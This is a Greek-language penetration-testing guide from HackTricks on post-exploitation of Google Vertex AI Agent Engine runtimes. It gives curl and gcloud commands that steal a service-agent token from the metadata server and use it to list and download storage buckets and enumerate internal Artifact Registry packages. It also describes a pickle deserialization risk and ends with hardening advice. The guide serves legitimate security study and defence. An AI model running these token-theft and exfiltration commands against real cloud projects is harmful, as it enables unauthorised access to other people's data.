GCP - Vertex AI Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Vertex AI Agent Engine / Reasoning Engine

Αυτή η σελίδα επικεντρώνεται σε Vertex AI Agent Engine / Reasoning Engine workloads που εκτελούν attacker-controlled tools ή code μέσα σε ένα Google-managed runtime.

Για γενική επισκόπηση του Vertex AI, δείτε:

GCP - Vertex AI Enum

Για κλασικές Vertex AI privesc διαδρομές που χρησιμοποιούν custom jobs, models, και endpoints, δείτε:

GCP - Vertex AI Privesc

Why this service is special

Το Agent Engine εισάγει ένα χρήσιμο αλλά επικίνδυνο μοτίβο: developer-supplied code running inside a managed Google runtime with a Google-managed identity.

Τα ενδιαφέροντα όρια εμπιστοσύνης είναι:

  • Consumer project: το project σας και τα δεδομένα σας.
  • Producer project: Google-managed project που λειτουργεί το backend service.
  • Tenant project: Google-managed project αφιερωμένο στη deployed agent instance.

Σύμφωνα με την τεκμηρίωση IAM του Vertex AI της Google, οι πόροι του Vertex AI μπορούν να χρησιμοποιούν Vertex AI service agents ως resource identities, και αυτοί οι service agents μπορούν να έχουν read-only access to all Cloud Storage resources and BigQuery data in the project ως προεπιλογή. Αν ο code που τρέχει μέσα στο Agent Engine μπορεί να κλέψει τα runtime credentials, αυτή η προεπιλεγμένη πρόσβαση γίνεται άμεσα ενδιαφέρουσα.

Main abuse path

  1. Αναπτύξτε ή τροποποιήστε έναν agent ώστε attacker-controlled tool code να εκτελείται μέσα στο managed runtime.
  2. Query the metadata server για να ανακτήσετε project identity, service account identity, OAuth scopes, και access tokens.
  3. Επαναχρησιμοποιήστε το κλεμμένο token ως το Vertex AI Reasoning Engine P4SA / service agent.
  4. Pivot into the consumer project και διαβάστε τα project-wide storage δεδομένα που επιτρέπονται από τον service agent.
  5. Pivot into the producer και tenant environments που είναι προσβάσιμα από την ίδια identity.
  6. Καταγράψτε internal Artifact Registry packages και εξάγετε tenant deployment artifacts όπως Dockerfile.zip, requirements.txt, και code.pkl.

Αυτό δεν είναι απλώς ένα “run code in your own agent” ζήτημα. Το βασικό πρόβλημα είναι ο συνδυασμός των:

  • metadata-accessible credentials
  • broad default service-agent privileges
  • wide OAuth scopes
  • multi-project trust boundaries hidden behind one managed service

Enumeration

Εντοπισμός πόρων του Agent Engine

The resource name format used by Agent Engine is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

Αν έχετε ένα token με πρόσβαση στο Vertex AI, απαριθμήστε απευθείας το Reasoning Engine API:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

Ελέγξτε τα deployment logs επειδή μπορούν leak internal producer Artifact Registry paths που χρησιμοποιούνται κατά το packaging ή το runtime startup:

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

Η έρευνα της Unit 42 παρατήρησε εσωτερικές διαδρομές όπως:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

Κλοπή credential από το metadata του runtime

Αν μπορείτε να εκτελέσετε κώδικα μέσα στο agent runtime, πρώτα ερωτήστε το metadata service:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

Ενδιαφέροντα πεδία περιλαμβάνουν:

  • αναγνωριστικά project
  • ο συνδεδεμένος service account / service agent
  • διαθέσιμα OAuth scopes για το runtime

Στη συνέχεια ζήτησε ένα token για τη συνδεδεμένη ταυτότητα:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

Επικυρώστε το token και επιθεωρήστε τα χορηγημένα scopes:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google changed parts of the ADK deployment workflow after the research was reported, so exact old deployment snippets might no longer match the current SDK. The important primitive is still the same: if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path.

Pivot στο consumer project: κλοπή δεδομένων του service-agent

Μόλις το runtime token κλαπεί, ελέγξτε την πραγματική πρόσβαση του service agent στο consumer project.

Η τεκμηριωμένη επικίνδυνη προεπιλεγμένη δυνατότητα είναι η ευρεία πρόσβαση ανάγνωσης στα δεδομένα του project. Η έρευνα της Unit 42 επιβεβαίωσε συγκεκριμένα:

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

Πρακτική επαλήθευση με το κλεμμένο token:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

Αυτό μετατρέπει έναν compromised ή malicious agent σε project-wide storage exfiltration primitive.

Producer-project pivot: εσωτερική πρόσβαση στο Artifact Registry

Η ίδια κλεμμένη ταυτότητα μπορεί επίσης να λειτουργήσει εναντίον των Google-managed producer resources.

Ξεκινήστε δοκιμάζοντας τα internal repository URIs που ανακτήθηκαν από τα logs. Έπειτα, απαριθμήστε τα πακέτα με το Artifact Registry API:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

Αν έχεις μόνο ένα raw bearer token, κάλεσε απευθείας το REST API:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

Αυτό είναι πολύτιμο ακόμα κι αν η πρόσβαση εγγραφής είναι μπλοκαρισμένη επειδή αποκαλύπτει:

  • εσωτερικά ονόματα εικόνων
  • απαρχαιωμένες εικόνες
  • δομή αλυσίδας εφοδιασμού
  • καταγραφή πακέτων/εκδόσεων για μετέπειτα έρευνα

Για περισσότερα στοιχεία για το Artifact Registry ελέγξτε:

GCP - Artifact Registry Enum

Tenant-project pivot: deployment artifact retrieval

Οι αναπτύξεις του Reasoning Engine αφήνουν επίσης ενδιαφέροντα artifacts σε ένα tenant project που ελέγχεται από Google για την αντίστοιχη περίπτωση.

Η έρευνα της Unit 42 βρήκε:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

Χρησιμοποιήστε το κλεμμένο token για να εντοπίσετε τον προσβάσιμο αποθηκευτικό χώρο και να αναζητήσετε deployment artifacts:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

Τα artifacts από το tenant project μπορούν να αποκαλύψουν:

  • εσωτερικά ονόματα bucket
  • εσωτερικές αναφορές image
  • υποθέσεις συσκευασίας
  • λίστες εξαρτήσεων
  • σειριοποιημένος κώδικας agent

Το blog παρατήρησε επίσης μια εσωτερική αναφορά όπως:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Ακόμη και όταν το αναφερόμενο restricted bucket δεν είναι αναγνώσιμο, αυτές οι leaked διαδρομές βοηθούν στο να χαρτογραφηθεί η εσωτερική υποδομή.

code.pkl και conditional RCE

If the deployment pipeline stores executable agent state in Python pickle format, treat it as a high-risk target.

Το άμεσο ζήτημα είναι η εμπιστευτικότητα:

  • offline deserialization μπορεί να αποκαλύψει τη δομή του κώδικα
  • το package format leaks λεπτομέρειες υλοποίησης

Το μεγαλύτερο ζήτημα είναι το conditional RCE:

  • εάν ένας attacker μπορεί να παραποιήσει το serialized artifact πριν από την service-side deserialization
  • και το pipeline αργότερα φορτώνει αυτό το pickle
  • arbitrary code execution καθίσταται δυνατή μέσα στο managed runtime

Αυτό δεν είναι από μόνο του ένα standalone exploit. Είναι ένας dangerous deserialization sink που γίνεται κρίσιμος όταν συνδυαστεί με οποιοδήποτε artifact write ή supply-chain tampering primitive.

OAuth scopes and Workspace blast radius

Η απάντηση metadata επίσης αποκαλύπτει τα OAuth scopes που είναι συνημμένα στο runtime.

Αν αυτά τα scopes είναι ευρύτερα από τα ελάχιστα απαιτούμενα, ένα stolen token μπορεί να γίνει χρήσιμο εναντίον περισσότερων από τις GCP APIs. Το IAM εξακολουθεί να αποφασίζει αν η ταυτότητα είναι εξουσιοδοτημένη, αλλά τα ευρεία scopes αυξάνουν το blast radius και κάνουν τις μεταγενέστερες misconfigurations πιο επικίνδυνες.

Εάν βρείτε scopes σχετικά με το Workspace, ελέγξτε αν η compromised identity έχει επίσης διαδρομή προς Workspace impersonation ή delegated access:

GCP <–> Workspace Pivoting

Σκληροποίηση / ανίχνευση

Προτιμήστε ένα custom service account αντί της default managed identity

Η τρέχουσα τεκμηρίωση του Agent Engine υποστηρίζει το να οριστεί ένα custom service account για τον αναπτυγμένο agent. Αυτός είναι ο πιο καθαρός τρόπος να μειωθεί το blast radius:

  • αφαιρέστε την εξάρτηση από το default broad service agent
  • εκχωρήστε μόνο τα ελάχιστα permissions που απαιτούνται από τον agent
  • κάντε την runtime identity ελέγξιμη (auditable) και με σκόπιμη περιορισμένη έκταση (intentionally scoped)

Επαληθεύστε την πραγματική πρόσβαση του service-agent

Επιθεωρήστε την πραγματική (effective) πρόσβαση του Vertex AI service agent σε κάθε project όπου χρησιμοποιείται το Agent Engine:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

Επικεντρωθείτε στο αν η συνδεδεμένη ταυτότητα μπορεί να διαβάσει:

  • all GCS buckets
  • BigQuery datasets
  • Artifact Registry repositories
  • secrets or internal registries reachable from build/deployment workflows

Αντιμετωπίστε τον κώδικα του agent ως εκτέλεση με προνομιακά δικαιώματα

Οποιοδήποτε εργαλείο/συνάρτηση που εκτελείται από τον agent πρέπει να εξετάζεται σαν να ήταν κώδικας που τρέχει σε VM με πρόσβαση σε metadata. Στην πράξη αυτό σημαίνει:

  • ελέγξτε τα εργαλεία του agent για άμεση HTTP πρόσβαση σε metadata endpoints
  • εξετάστε τα logs για αναφορές σε internal pkg.dev repositories και tenant buckets
  • ελέγξτε οποιαδήποτε packaging path που αποθηκεύει executable state ως pickle

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks